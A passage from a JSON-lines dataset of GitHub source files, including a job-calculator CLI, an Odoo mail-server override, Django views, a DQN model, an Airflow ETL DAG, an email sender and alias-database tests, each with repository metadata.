Percentage(str(value))\n except (PercentageOutOfRange, decimal.InvalidOperation) as exc:\n self.fail(exc)\n else:\n try:\n return tuple(map(Percentage, iter(value)))\n except (PercentageOutOfRange, decimal.InvalidOperation) as exc:\n self.fail(exc)\n\n\nclass DeductionsType(BaseCurrencyType):\n \"\"\"A ``BaseCurrencyType`` that is used to convert command line values\n to ``Currency`` instances.\n\n Values can either be single items or multiples seperated ``';'``, if the\n input is during an option to a command line command or ``' '`` if the input\n is during a prompt. These can be changed via environment variables. See\n ``config`` module for more information.\n\n \"\"\"\n\n name = 'deduction'\n\n @parse_input_value\n @check_env_dict('deductions')\n def convert(self, value: Union[str, Tuple[str]], param: Any, ctx: Any\n ) -> Union[Currency, Tuple[Currency]]:\n \"\"\"Parses and converts value(s) to ``Currency`` instance(s).\n\n :param value: A string or tuple of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n return super().convert(value, param, ctx)\n\n\nclass MarginsType(BasePercentageType):\n \"\"\"A ``BasePercentagType`` that is used to convert command line values\n to ``Percentage`` instances.\n\n Values can either be single items or multiples seperated ``';'``, if the\n input is during an option to a command line command or ``' '`` if the input\n is during a prompt. These can be changed via environment variables. See\n ``config`` module for more information.\n\n \"\"\"\n\n name = 'margin'\n\n @parse_input_value\n @check_env_dict('margins')\n def convert(self, value: Union[str, Tuple[str]], param: Any, ctx: Any\n ) -> Union[Percentage, Tuple[Percentage]]:\n \"\"\"Parses and converts value(s) to ``Percentage`` instance(s).\n\n :param value: A string or tuple of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n return super().convert(value, param, ctx)\n\n\nclass DiscountsType(BasePercentageType):\n \"\"\"A ``BasePercentagType`` that is used to convert command line values\n to ``Percentage`` instances.\n\n Values can either be single items or multiples seperated ``';'``, if the\n input is during an option to a command line command or ``' '`` if the input\n is during a prompt. These can be changed via environment variables. See\n ``config`` module for more information.\n\n \"\"\"\n\n name = 'discount'\n\n @parse_input_value\n @check_env_dict('discounts')\n def convert(self, value: Union[str, Tuple[str]], param: Any, ctx: Any\n ) -> Union[Percentage, Tuple[Percentage]]:\n \"\"\"Parses and converts value(s) to ``Percentage`` instance(s).\n\n :param value: A string or tuple of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n\n return super().convert(value, param, ctx)\n\n\nclass CostsType(BaseCurrencyType):\n \"\"\"A ``BaseCurrencyType`` that is used to convert command line values\n to ``Currency`` instances.\n\n Values can either be single items or multiples seperated ``';'``, if the\n input is during an option to a command line command or ``' '`` if the input\n is during a prompt. These can be changed via environment variables. See\n ``config`` module for more information.\n\n \"\"\"\n\n name = 'cost'\n\n @parse_input_value\n def convert(self, value: Union[str, Tuple[str]], param: Any, ctx: Any\n ) -> Union[Currency, Tuple[Currency]]:\n \"\"\"Parses and converts value(s) to ``Currency`` instance(s).\n\n :param value: A string or tuple of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n return super().convert(value, param, ctx)\n\n\nclass HoursType(click.ParamType):\n \"\"\"A ``click.ParamType`` that is used to convert command line values\n to ``decimal.Decimal`` instances.\n\n Values can either be single items or multiples seperated ``';'``, if the\n input is during an option to a command line command or ``' '`` if the input\n is during a prompt. These can be changed via environment variables. See\n ``config`` module for more information.\n\n \"\"\"\n\n name = 'hours'\n\n @parse_input_value\n def convert(self, value: Union[str, Tuple[str]], param: Any, ctx: Any\n ) -> Union[decimal.Decimal, Tuple[decimal.Decimal]]:\n \"\"\"Parses and converts value(s) to ``decimal.Decimal`` instance(s)\n\n :param value: A string or tuple of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n\n if hasattr(value, '__iter__') and len(value) == 1:\n value = value[0]\n\n if isinstance(value, str):\n return decimal.Decimal(value)\n return tuple(map(decimal.Decimal, iter(value)))\n\n\nclass ConfigType(click.ParamType):\n name = 'config'\n\n def convert(self, value: str, param: Any, ctx: Any) -> TerminalConfig:\n try:\n config = from_yaml(str(value))\n except FileNotFoundError as exc:\n self.fail(exc)\n\n config.setup_env()\n\n return config\n\n\nDEDUCTION = DeductionsType()\nMARGIN = MarginsType()\nDISCOUNT = DiscountsType()\nCOSTS = CostsType()\nHOURS = HoursType()\nCONFIG = ConfigType()\n","repo_name":"m-housh/jobcalc","sub_path":"jobcalc/param_types.py","file_name":"param_types.py","file_ext":"py","file_size_in_byte":18537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16581593849","text":"__version__ = \"2.3.1\"\n\n\"\"\"\n/////////\nChangelog :\n\n2.3.1 : Netutils : si trop de Hosts dans get_ListHosts_str, on retourne 1 message trop de hosts\n\n-------------------------------------------------\nCe Module Permet de donner la version du Module :\n\nNotes:\n------\nInspiré de :\n http://sametmax.com/creer-un-setup-py-et-mettre-sa-bibliotheque-python-en-ligne-sur-pypi/\n\"\"\"\n","repo_name":"drobert31/UtilsDR","sub_path":"UtilsDR/version.py","file_name":"version.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40677688487","text":"from odoo import api, fields, models\n\n\nclass IrMailServer(models.Model):\n _inherit = \"ir.mail_server\"\n\n is_fatturapa_pec = fields.Boolean(\"E-invoice PEC server\")\n email_from_for_fatturaPA = fields.Char(\"Sender Email Address\")\n\n def test_smtp_connection(self):\n for server in self:\n if server.is_fatturapa_pec:\n # self.env.user.email is used to test SMTP connection\n server.env.user.email = server.email_from_for_fatturaPA\n # no need to revert to correct email: UserError is always raised and\n # rollback done\n return super(IrMailServer, self).test_smtp_connection()\n\n @api.model\n def _search(\n self,\n args,\n offset=0,\n limit=None,\n order=None,\n count=False,\n access_rights_uid=None,\n ):\n if args == [] and order == \"sequence\" and limit == 1:\n # This happens in ir.mail_server.connect method when no SMTP server is\n # explicitly set.\n # In this case (sending normal emails without expliciting SMTP server)\n # the e-invoice PEC server must not be used\n args = [(\"is_fatturapa_pec\", \"=\", False)]\n return super(IrMailServer, self)._search(\n args, offset, limit, order, count, access_rights_uid\n )\n","repo_name":"OCA/l10n-italy","sub_path":"l10n_it_fatturapa_pec/models/ir_mail_server.py","file_name":"ir_mail_server.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"31"} +{"seq_id":"33946980140","text":"\"\"\"\n# Sample code to perform I/O:\n\nname = input() # Reading input from STDIN\nprint('Hi, %s.' % name) # Writing output to STDOUT\n\n# Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail\n\"\"\"\n\n# Write your code here\nimport bisect\n\nn = int(input())\na = []\nfor _ in range(n):\n line = list(map(int, input().strip().split()))\n if line[0] == 1:\n bisect.insort_left(a, line[1])\n else:\n ln = len(a)\n if ln < 3:\n print('Not enough enemies')\n else:\n print(a[-(ln // 3)])\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Algorithms/Bugs/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"15326819048","text":"import datetime\nfrom datetime import date\n\ndef cd(de): #splitting time object\n de_month = de.strftime(\"%m\")\n de_day = de.strftime(\"%d\")\n de_year = de.strftime(\"%y\")\n\n return de_month, de_day, de_year\n\ndef ip(m,d,y): # processing\n subname = str(input(\"Please enter name of subscription: \"))\n price = float(input(\"Please enter the cost of the subscription: $\"))\n timeperiod = str(input(\"Enter the type of time period for the subcription (Monthly or Yearly): \"))\n \n de = date(y,m,d)\n\n print(\"Subcription:\", str(subname))\n print(\"Price: $\", str(price))\n print(\"Recurring Period Type:\", str(timeperiod))\n \n de.strftime(\"%m/%d/%y\")\n\n return subname, price, timeperiod, de","repo_name":"notdanieldiaz/Subscription-Tracker","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4015172595","text":"import configparser\nimport logging\nimport os\nimport smtplib\nimport time\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.utils import formataddr\n\nimport helper\n\nconfig = configparser.ConfigParser(allow_no_value=True)\nconfig.read(helper.get_config_path())\n\nsend_oath = config.getboolean(\"EmailSettings\", \"SendWithOath\")\nif send_oath:\n import send_email_oath\n\n\ndef get_email_users():\n targets = []\n for user in config[\"Emails\"]:\n targets.append(user)\n\n if not targets:\n return None\n else:\n # email_addresses = ','.join(str(x) for x in targets)\n return targets\n\n\ndef build_email(db):\n string = ''\n string += ''\n string += ''\n\n c = db.cursor()\n c.execute('''SELECT routes_congested.route_id, current_tt_min, historical_tt_min, \n route_name, route_from, route_to, congested_date_time\n FROM routes_congested\n INNER JOIN routes ON routes_congested.route_id=routes.route_id''')\n all = c.fetchall()\n\n for each in all:\n rid = each[0]\n c_min = each[1]\n h_min = each[2]\n route_name = each[3]\n route_from = each[4]\n route_to = each[5]\n ddate = each[6]\n\n string += ''\n string += f''\n string += f''\n string += f''\n string += f''\n string += f''\n string += f''\n string += ''\n\n string += \"
RIDRoadTo/FromCurrent TimeHistoric TimeSince
{rid}{route_name}{route_from} to {route_to}{c_min}{h_min}{ddate}
\"\n string += ''\n\n try:\n subject = 'Congestion Summary'\n\n if send_oath:\n logging.info('Sending with oauth email')\n send_email_oath.send_message(subject, string)\n else:\n logging.info('Sending with regular email')\n run('Congestion Summary', string, attach=None, type='html')\n\n except Exception as e:\n logging.exception(e)\n\n\ndef run(subject, body, attach=None, type=None):\n EMAIL_USER = config[\"EmailSettings\"][\"Username\"]\n EMAIL_PWD = config[\"EmailSettings\"][\"Password\"]\n\n if EMAIL_USER == '' or EMAIL_PWD == '':\n raise Exception(\"You are missing email username or password\")\n\n logging.info('Attempting to send email')\n\n # smtp_ssl_host = 'smtp.gmail.com'\n smtp_ssl_host = config.get('EmailSettings', 'SMTP_SSL_Host')\n smtp_ssl_port = config.getint('EmailSettings', 'SMTP_SSL_Port')\n nickname = config.get('EmailSettings', 'From_Nickname')\n sender = formataddr((nickname, config.get('EmailSettings', 'SMTP_Sender')))\n # targets = get_email_users()\n\n msg = MIMEMultipart()\n\n msg['Subject'] = subject\n msg['From'] = sender\n msg['To'] = ', '.join(get_email_users())\n\n if type == 'html':\n msg.attach(MIMEText(body, 'html'))\n else:\n msg.attach(MIMEText(body, 'plain'))\n\n if attach is not None:\n attachment = open(attach, \"rb\")\n\n part = MIMEBase('application', 'octet-stream')\n part.set_payload(attachment.read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attach))\n\n msg.attach(part)\n\n server = smtplib.SMTP_SSL(smtp_ssl_host, smtp_ssl_port)\n server.login(EMAIL_USER, EMAIL_PWD)\n server.sendmail(sender, get_email_users(), msg.as_string())\n server.quit()\n logging.info('Email sent')\n\n\nif __name__ == '__main__':\n # test email by running this file\n string = ''\n string += ''\n string += ''\n string += '
RIDRoadTo/FromCurrent TimeHistoric TimeSince
'\n\n error = 'Travel Times'\n subject = f'Alert: TEST ({time.time()}) '\n run(subject, string, attach=None, type='html')\n","repo_name":"lakecountypassage/WazeTravelTimesPoller","sub_path":"src/send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"17438062947","text":"# how to move a file in python\n\nimport os\n\nsource = \"testing.py\"\ndestination = \"C:\\\\users\\\\hp\\\\desktop\\\\testing.py\"\n\ntry:\n if os.path.exists(destination):\n print(\"There is a file there\")\n else:\n os.replace(source, destination)\n print(source+\" was moved\")\nexcept FileNotFoundError:\n print(\"File not found\")","repo_name":"H11TM4N/python_projects","sub_path":"learning_python/Concepts/beginner_concepts/move_a_file.py","file_name":"move_a_file.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30792826014","text":"from django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.template import loader\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom django.urls import reverse\n\nfrom pprint import pprint\nimport logging\nlogger = logging.getLogger(\"docker.console\")\n\nfrom .models import Recipe\n\ndef index(request):\n latest_recipe_list = Recipe.objects.order_by('-pub_date')[:5]\n #template = loader.get_template('recipes/index.html')\n context = {\n 'latest_recipe_list': latest_recipe_list,\n }\n return render(request, 'recipes/index.html', context)\n #return HttpResponse(template.render(context, request))\n #return HttpResponse(\"Hello, world. You're at the weekly planner index.\")\n\ndef detail(request, recipe_id):\n recipe = get_object_or_404(Recipe, pk=recipe_id)\n logger.info(\"Details\")\n return render(request, 'recipes/detail.html', {'recipe': recipe})\n\ndef addRecipe(request):\n logger.info(\"Adding recipe\")\n return HttpResponse(\"You're adding a recipe\")\n\ndef edit(request, recipe_id):\n recipe = get_object_or_404(Recipe, pk=recipe_id)\n logger.info(\"Editing recipe\")\n logger.info(recipe)\n post = request.POST\n recipe.recipe_name = post['name']\n recipe.recipe_url = post['url']\n recipe.save()\n return HttpResponseRedirect(reverse('weekplanner:index'))\n","repo_name":"egillian1/MealPlanner","sub_path":"weekplanner/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29719128826","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass QNetwork(nn.Module):\n \"\"\"Deep Q-Network function approximator\"\"\"\n\n def __init__(self, state_size, action_size, seed, layer1_units=64, layer2_units=64):\n \"\"\"Initializes parameters and defines model architecture.\n \n Parameters\n ----------\n state_size : int\n Dimension of each state\n action_size : int\n Dimension of each action\n seed : int\n Random seed\n layer1_units : int\n Number of nodes in first hidden layer\n layer2_units : int\n Number of nodes in second hidden layer\n \"\"\"\n super(QNetwork, self).__init__()\n self.seed = torch.manual_seed(seed)\n # define model architecture\n self.layer1_logits = nn.Linear(state_size, layer1_units)\n self.layer2_logits = nn.Linear(layer1_units, layer2_units)\n self.output_layer_logits = nn.Linear(layer2_units, action_size)\n \n\n def forward(self, state):\n \"\"\"Defines activation functions for each layer and returns model output\"\"\"\n layer1_activation = F.relu(self.layer1_logits(state))\n layer2_activation = F.relu(self.layer2_logits(layer1_activation))\n output_layer_logits = self.output_layer_logits(layer2_activation)\n return output_layer_logits\n","repo_name":"QuantLandi/navigation-dqn","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74444362008","text":"# flake8: noqa\n\nfrom datetime import datetime\n\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\n\nfrom operators import (SQLFileOperator, CSVToTableOperator,\n DataQualityOperator)\n\nshould_run = True # use False for debugging\n\ndefault_args_dag = {\n 'owner': 'etl-data-pipelines',\n 'start_date': datetime(2020, 7, 17),\n # 'depends_on_past': False,\n # 'retries': 3,\n # 'retry_delay': timedelta(minutes=5),\n # 'catchup': False,\n # 'email_on_retry': False,\n}\n\ndag = DAG(\n dag_id='etl_dag',\n default_args=default_args_dag,\n description='Load and transform data in PostgreSQL with Airflow',\n schedule_interval=None,\n)\n\n# table name -> checks\nquality_checks = {\n 'immigration': {'minimum_rows': 40790529,\n 'non_null_cols': ['cicid', 'i94yr', 'i94mon', 'i94res',\n 'i94port', 'arrdate', 'i94visa', 'count',\n 'admnum', 'visatype'],\n 'adhoc': [\n {'query': \"SELECT COUNT(*) FROM {table:s} WHERE gender NOT IN ('F', 'M', 'U', 'X');\",\n 'comparison': '=', 'value': 0},\n {'query': 'SELECT COUNT(*) FROM {table:s} WHERE biryear > i94yr;',\n 'comparison': '<=', 'value': 10},\n {'query': 'SELECT COUNT(*) FROM {table:s} WHERE depdate < 0;',\n 'comparison': '<=', 'value': 52},\n {'query': 'SELECT COUNT(*) FROM {table:s} WHERE i94bir != i94yr - biryear;',\n 'comparison': '=', 'value': 0},\n ]},\n 'airport_codes': {'minimum_rows': 55075,\n 'non_null_cols': ['ident', 'type', 'name', 'iso_region',\n 'coordinates']},\n 'global_temperatures': {'minimum_rows': 8599212,\n 'non_null_cols': ['dt', 'city', 'country',\n 'latitude', 'longitude'],\n 'adhoc': [\n {'query': \"SELECT COUNT(*) AS day FROM {table:s} WHERE DATE_PART('DAY', dt) != 1;\",\n 'comparison': '=', 'value': 0},\n ]},\n 'us_cities': {'minimum_rows': 2891,\n 'non_null_cols': ['city', 'state', 'median_age',\n 'total_population', 'state_code', 'race',\n 'count'],\n 'adhoc': [\n {'query': ('SELECT COUNT(*)\\n'\n 'FROM {table:s}\\n'\n 'WHERE\\n'\n ' male_population + female_population != total_population\\n'\n ' OR number_of_veterans > total_population\\n'\n ' OR foreign_born >= total_population;'),\n 'comparison': '=', 'value': 0},\n {'query': ('SELECT COUNT(*) FROM (\\n'\n ' SELECT city, state\\n'\n ' FROM {table:s}\\n'\n ' GROUP BY 1, 2\\n'\n ' HAVING SUM(\"count\") < MIN(total_population)) AS race_sum;'),\n 'comparison': '<=', 'value': 7},\n ]},\n}\n\nstart_operator = DummyOperator(dag=dag, task_id='begin_execution')\nend_operator = DummyOperator(dag=dag, task_id='stop_execution')\n\ndrop_tables = SQLFileOperator(dag=dag, task_id='drop_tables',\n query_file='drop_tables.sql',\n message='Dropping tables',\n should_run=should_run)\ncreate_tables = SQLFileOperator(dag=dag, task_id='create_tables',\n query_file='create_tables.sql',\n message='Creating tables',\n should_run=should_run)\n\ncopy_immigration_table = CSVToTableOperator(dag=dag,\n task_id='copy_immigration_table',\n should_run=should_run)\ncopy_airport_codes_table = CSVToTableOperator(dag=dag,\n task_id='copy_airport_codes_table',\n should_run=should_run)\ncopy_global_temperatures_table = CSVToTableOperator(dag=dag,\n task_id='copy_global_temperatures_table',\n should_run=should_run)\ncopy_us_cities_table = CSVToTableOperator(dag=dag,\n task_id='copy_us_cities_table',\n should_run=should_run)\nquality_checks_task = DataQualityOperator(dag=dag,\n task_id='data_quality_checks',\n quality_checks=quality_checks,\n should_run=should_run)\n\n(start_operator\n >> drop_tables\n >> create_tables\n >> [copy_immigration_table,\n copy_airport_codes_table,\n copy_global_temperatures_table,\n copy_us_cities_table]\n >> quality_checks_task\n >> end_operator)\n","repo_name":"gcbeltramini/etl-project","sub_path":"etl/airflow_home/dags/etl_dag.py","file_name":"etl_dag.py","file_ext":"py","file_size_in_byte":5340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72653929681","text":"import unittest\nimport io\nimport aliasdb\nfrom aliasdb import Alias, AliasDB, JSONBackend\n\n\nclass FakeAliasDatabase():\n def __init__(self):\n self.aliases = []\n\n def add_alias(self, alias):\n self.aliases.append(alias)\n\n def get_aliases(self):\n return self.aliases\n\n\ndef make_fake_aliases():\n return {'lst': Alias(\"lst\", \"ls -lhar --sort time\"),\n 'lss': Alias(\"lss\", \"ls -lhar --sort time\")}\n\n\nclass TestAliasObj(unittest.TestCase):\n def test_comparisons(self):\n a1 = Alias('lst', 'ls -lhar --sort time')\n a2 = Alias('lst', 'ls -lhar --sort time')\n a3 = Alias('lss', 'ls -lhar --sort size')\n\n self.assertEqual(a1, a2)\n self.assertNotEqual(a1, a3)\n self.assertNotEqual(a1, None)\n\n def test_dicts_to_aliases(self):\n example = {\n \"lst\": {\n 'command': 'ls -lhar --sort time',\n 'category': None\n },\n \"lss\": {\n 'command': 'ls -lhar --sort size',\n 'category': None\n }\n }\n\n expected = {\n 'lst': Alias('lst', 'ls -lhar --sort time'),\n 'lss': Alias('lss', 'ls -lhar --sort size')\n }\n\n result = aliasdb.dicts_to_aliases(example)\n\n self.assertDictEqual(result, expected)\n\n\nSIMPLE_ALIAS_YAML = \"\"\"\\\naliases:\n lst:\n command: \"ls -lhar --sort time\"\n category: null\n\"\"\"\n\n\ndef make_simple_alias_yaml_stringio():\n return io.StringIO(SIMPLE_ALIAS_YAML)\n\n\ndef make_test_yaml_aliasdb(f=None):\n if f is None:\n f = io.StringIO()\n backend = aliasdb.YAMLBackend(f)\n adb = AliasDB(backend)\n return adb\n\n\nclass TestYAML(unittest.TestCase):\n def test_get_aliases(self):\n f = make_simple_alias_yaml_stringio()\n adb = make_test_yaml_aliasdb(f)\n\n result = adb.get_aliases()\n\n expected = {'lst': Alias('lst', 'ls -lhar --sort time')}\n self.assertEqual(expected, result)\n\n def test_write_aliases(self):\n f = make_simple_alias_yaml_stringio()\n adb = make_test_yaml_aliasdb(f)\n\n adb.add_alias(Alias('lss', 'ls -lhar --sort size'))\n result = f.getvalue()\n\n expected = \"\"\"\\\naliases:\n lss:\n category: null\n command: ls -lhar --sort size\n lst:\n category: null\n command: ls -lhar --sort time\\n\\\n\"\"\"\n\n self.assertEqual(expected, result)\n\n def test_add_alias(self):\n adb = make_test_yaml_aliasdb()\n\n adb.add_alias(Alias(\"lst\", \"ls -lhar --sort time\"))\n adb.add_alias(Alias(\"lss\", \"ls -lhar --sort size\"))\n script = adb.get_sh_script()\n\n self.assertEqual('alias lss=\"ls -lhar --sort size\"\\n' +\n 'alias lst=\"ls -lhar --sort time\"\\n', script)\n\n\nSIMPLE_ALIAS_JSON = \"\"\"\n{\n \"aliases\": {\n \"lst\" :{\n \"command\": \"ls -lhar --sort time\",\n \"category\": null\n }\n }\n}\n\"\"\"\n\n\ndef make_simple_alias_json_stringio():\n return io.StringIO(SIMPLE_ALIAS_JSON)\n\n\ndef make_test_json_aliasdb(f=None):\n if f is None:\n f = io.StringIO()\n backend = JSONBackend(f)\n adb = AliasDB(backend)\n return adb\n\n\nclass TestJSON(unittest.TestCase):\n def test_parse_alias(self):\n f = make_simple_alias_json_stringio()\n adb = make_test_json_aliasdb(f)\n script = adb.get_sh_script()\n self.assertEqual(script, 'alias lst=\"ls -lhar --sort time\"\\n')\n\n def test_add_alias(self):\n adb = make_test_json_aliasdb()\n\n adb.add_alias(Alias(\"lst\", \"ls -lhar --sort time\"))\n adb.add_alias(Alias(\"lss\", \"ls -lhar --sort size\"))\n script = adb.get_sh_script()\n\n self.assertEqual('alias lss=\"ls -lhar --sort size\"\\n' +\n 'alias lst=\"ls -lhar --sort time\"\\n', script)\n\n def test_remove_alias(self):\n adb = make_test_json_aliasdb()\n adb.add_alias(Alias('one', 'one'))\n adb.add_alias(Alias('two', 'two'))\n adb.add_alias(Alias('three', 'three'))\n\n aliases = adb.get_aliases()\n self.assertEqual(len(aliases), 3)\n\n adb.remove_alias('two')\n aliases = adb.get_aliases()\n self.assertEqual(len(aliases), 2)\n\n def test_change_alias(self):\n adb = make_test_json_aliasdb()\n\n adb.add_alias(Alias(\"lss\", \"ls -lhar --sort size\"))\n adb.add_alias(Alias(\"lss\", \"ls -lha --sort size\"))\n\n script = adb.get_sh_script()\n\n self.assertEqual('alias lss=\"ls -lha --sort size\"\\n', script)\n\n\nclass TestScript(unittest.TestCase):\n def test_abstract_backend_fail(self):\n self.assertRaises(\n TypeError, aliasdb.AliasBackend, io.StringIO()\n )\n\n def test_contains_singlequote(self):\n adb = make_test_json_aliasdb()\n\n adb.add_alias(Alias('test', \"echo 'This contains quotes'\"))\n result = adb.get_sh_script()\n\n expected = \"\"\"alias test=\"echo \\\\\\'This contains quotes\\\\\\'\"\\n\"\"\"\n self.assertEqual(expected, result)\n\n def test_contains_doublequotes(self):\n adb = make_test_json_aliasdb()\n\n adb.add_alias(Alias('test', 'echo \"This contains quotes\"'))\n result = adb.get_sh_script()\n\n expected = \"alias test=\\\"echo \\\\\\\"This contains quotes\\\\\\\"\\\"\\n\"\n self.assertEqual(expected, result)\n\n def test_contains_brackets(self):\n adb = make_test_json_aliasdb()\n\n adb.add_alias(Alias('hasbrackets', 'echo (This is in brackets)'))\n result = adb.get_sh_script()\n\n expected = 'alias hasbrackets=\"echo (This is in brackets)\"\\n'\n self.assertEqual(expected, result)\n","repo_name":"dcbishop/py-shell-alias","sub_path":"test_aliasdb.py","file_name":"test_aliasdb.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22787496287","text":"from dataclasses import dataclass, field\nfrom typing import Dict, List, Optional\n\nfrom analysis.src.python.data_collection.api.platform_objects import BaseRequestParams, Object, ObjectResponse\nfrom analysis.src.python.data_collection.hyperskill.hyperskill_objects import HyperskillPlatform\n\n\"\"\"\nThis file contains classes, which describe project entity from Hyperskill platform. Project contains of big task with\nsupportive steps to reach the final result and learn how to implement it.\nProjects are available by API requests, described at\n https://hyperskill.org/api/docs/#projects-list\n https://hyperskill.org/api/docs/#projects-read\n\"\"\"\n\n\n@dataclass\nclass ProjectsRequestParams(BaseRequestParams):\n pass\n\n\n@dataclass(frozen=True)\nclass Project(Object):\n id: int\n title: str\n use_ide: bool\n environment: str\n description: str\n is_beta: bool\n is_template_based: bool\n results: str\n stages_count: int\n n_first_prerequisites: int\n n_last_prerequisites: int\n language: str\n is_deprecated: bool\n progress_id: str\n readiness: int\n lesson_stepik_id: Optional[int]\n preview_step: Optional[int] = None\n ide_files: Optional[str] = None\n stages_ids: List[int] = field(default_factory=list)\n url: str = field(init=False)\n tracks: Dict[str, Dict[str, str]] = field(default_factory=dict)\n\n def __post_init__(self):\n object.__setattr__(self, 'url', f'{HyperskillPlatform.BASE_URL}/projects/{self.id}')\n\n\n@dataclass(frozen=True)\nclass ProjectsResponse(ObjectResponse[Project]):\n projects: List[Project]\n\n def get_objects(self) -> List[Project]:\n return self.projects\n","repo_name":"nbirillo/hyperstyle-analyze","sub_path":"analysis/src/python/data_collection/hyperskill/api/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"9853766466","text":"from src.env.base_env import BaseEnv\n\ndef create_env(config):\n # create the environment\n env = BaseEnv(data_feed=config[\"data_feed\"], config=config[\"config\"])\n return env\n\n# %%\nif __name__ == \"__main__\":\n # create the environment\n env = create_env(env_config)\n # %%\n # test the environment\n reward = test_agent(env)\n # %%\n # plot the performance of the agent\n env.plot_current_performance()\n # %%\n # plot the rewards of the agent\n env.plot_rewards()\n # %%\n # plot the actions of the agent\n env.plot_actions()\n","repo_name":"davidjaggi/rl-factor-rotation","sub_path":"src/env/create_env.py","file_name":"create_env.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28809760851","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\n#6\n\nn = int(input(\"Enter the number upto which sum is required: \"))\nprint(f\"Sum of n natural numbers : {n*(n+1)//2}\")\n\n\n# In[4]:\n\n\n#2\n\nn = int(input(\"Enter the number for which multiplication table is required: \"))\nfor i in range(1, 11):\n print(f\"{n}X{i}={n*i}\")\n\n\n# In[5]:\n\n\n#1\n\nn = int(input(\"Enter the number: \"))\nresult=n\nfor i in range(n-1, 0, -1):\n result*=i\nprint(f\"Factorial of {n} is : {result}\")\n\n\n# In[7]:\n\n\n#3\n\nn = int(input(\"Enter the number: \"))\nl=[]\na, b = 0, 1\nfor i in range(n):\n b=a+b\n a, b=b, a\n l.append(b)\nprint(\"Fibonacci Sequence upto nth place: \", l) \n\n\n# In[9]:\n\n\n#4\nn = int(input(\"Enter the number: \"))\nnum=n\nresult=0\nwhile(n>0):\n rem=n%10\n result+=rem**3\n n//=10\nif num==result:\n print(f\"{num} is a Armstrong number\")\nelse:\n print(f\"{num} is not a Armstrong number\")\n\n\n# In[11]:\n\n\n#6\n\nlower, upper = list(map(int, input(\"Enter the range: \").split()))\nfor i in range(lower, upper+1):\n n=i\n result=0\n while(n>0):\n rem=n%10\n result+=rem**3\n n//=10\n if i==result:\n print(f\"{i} is a Armstrong number\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Shaktijain9/PythonAssignments","sub_path":"Programming_Assingment4.py","file_name":"Programming_Assingment4.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4768813744","text":"import argparse\n\nfrom . import mutators_arithmetic\nfrom . import mutators_bitvectors\nfrom . import mutators_boolean\nfrom . import mutators_core\nfrom . import mutators_smtlib\nfrom . import mutators_strings\n\ndef disable(namespace, option):\n setattr(namespace, 'mutator_{}'.format(option.replace('-', '_')), False)\n\ndef disable_all(namespace, options):\n for opt in options:\n disable(namespace, opt)\n\nclass AgressiveAction(argparse.Action):\n \"\"\"Mode that only checks aggressive mutations.\"\"\"\n def __call__(self, parser, namespace, values, option_string = None):\n setattr(namespace, 'mode_aggressive', True)\n disable(namespace, mutators_arithmetic.NAME)\n disable(namespace, mutators_bitvectors.NAME)\n disable(namespace, mutators_boolean.NAME)\n disable_all(namespace, mutators_core.MUTATORS)\n disable(namespace, mutators_strings.NAME)\n setattr(namespace, 'mutator_constants', True)\n setattr(namespace, 'mutator_erase_children', True)\n setattr(namespace, 'mutator_inline_functions', True)\n setattr(namespace, 'mutator_replace_by_variable', True)\n setattr(namespace, 'mutator_substitute_children', True)\n\nclass BeautifyAction(argparse.Action):\n \"\"\"Mode that enables mutations merely beautify the output.\"\"\"\n def __call__(self, parser, namespace, values, option_string = None):\n setattr(namespace, 